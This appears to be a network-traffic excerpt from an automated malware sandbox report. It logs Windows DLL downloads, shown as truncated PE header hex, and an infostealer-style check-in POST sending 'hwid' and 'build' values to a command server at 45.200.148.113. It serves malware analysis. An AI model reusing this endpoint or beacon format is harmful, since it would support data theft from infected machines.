00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 01 Oct 2024 05:51:14 GMTContent-Type: application/x-msdos-programContent-Length: 685392Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 01 Oct 2024 05:51:15 GMTContent-Type: application/x-msdos-programContent-Length: 608080Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 01 Oct 2024 05:51:15 GMTContent-Type: application/x-msdos-programContent-Length: 450024Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 01 Oct 2024 05:51:16 GMTContent-Type: application/x-msdos-programContent-Length: 2046288Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 01 Oct 2024 05:51:17 GMTContent-Type: application/x-msdos-programContent-Length: 257872Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 01 Oct 2024 05:51:18 GMTContent-Type: application/x-msdos-programContent-Length: 80880Connection: keep-aliveLast-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 45.200.148.113Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0a616124ff2f2b69.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDBAKEHDHDGCAKKJJEHost: 45.200.148.113Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 42 39 34 39 41 30 39 45 34 31 32 32 30 34 30 34 30 39 34 30 32 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 41 31 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 42 41 4b 45 48 44 48 44 47 43 41 4b 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="hwid"DB949A09E4122040409402------GHJDBAKEHDHDGCAKKJJEContent-Disposition: form-data; name="build"A1------GHJDBAKEHDHDGCAKKJJE--
